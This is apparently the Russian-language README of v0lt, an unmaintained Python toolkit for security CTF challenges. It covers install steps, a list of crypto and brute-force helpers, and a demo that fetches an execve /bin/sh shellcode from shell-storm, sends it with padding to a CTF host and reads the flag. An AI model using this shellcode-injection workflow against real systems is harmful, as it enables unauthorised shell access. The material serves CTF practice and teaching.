v0lt

v0lt — это попытка объединить все инструменты, которые я использовал, использую и буду использовать в CTF по безопасности, в стиле Python. Многие упражнения решались с помощью bash-скриптов, но Python может быть более гибким, поэтому и было создано это. Не имеет ничего общего с Gallopsled. Это игрушечный набор инструментов, только с маленькими, но специфическими утилитами.

Этот проект больше не поддерживается, так как сами утилиты достаточно малы, чтобы работать почти всё время без необходимости что-либо поддерживать. Однако не стесняйтесь отправлять PR, если хотите :)

Требования и установка

Зависимости:

• Libmagic
• Python3
  • BeautifulSoup
  • Requests
  • filemagic
  • hexdump
  • passlib

Установка:

# for v0lt install
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # sudo is required for potentially missing dependencies

Демонстрация: Shellcodes

>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellCrafter(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)

...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...

Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"

>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}

Реализовано:

• Крипто

  • Base64
  • Сдвиг Цезаря
  • Хэш-функции (SHA, MD5)
  • Манипуляции с битами (XOR, обратный XOR)
  • Обычные преобразования (байты, строки, hex)
  • Основы RSA (обратный по модулю, обратное возведение в степень, egcd...)
  • Брутфорс (по словарю, пользовательское слово)

• Shellcodes

  • Выбор и загрузка шелл-кода из репозитория Shell-storm
  • Форматировщик шелл-кода
  • Shell{cat,net}: отправка шелл-кода с лёгкостью
  • Автоматическое дополнение (padding)

• Поддержка лёгкого подключения

  • Netcat
  • Telnet

• Решение

  • Брутфорсер подсчёта инструкций

И другое Примеры доступны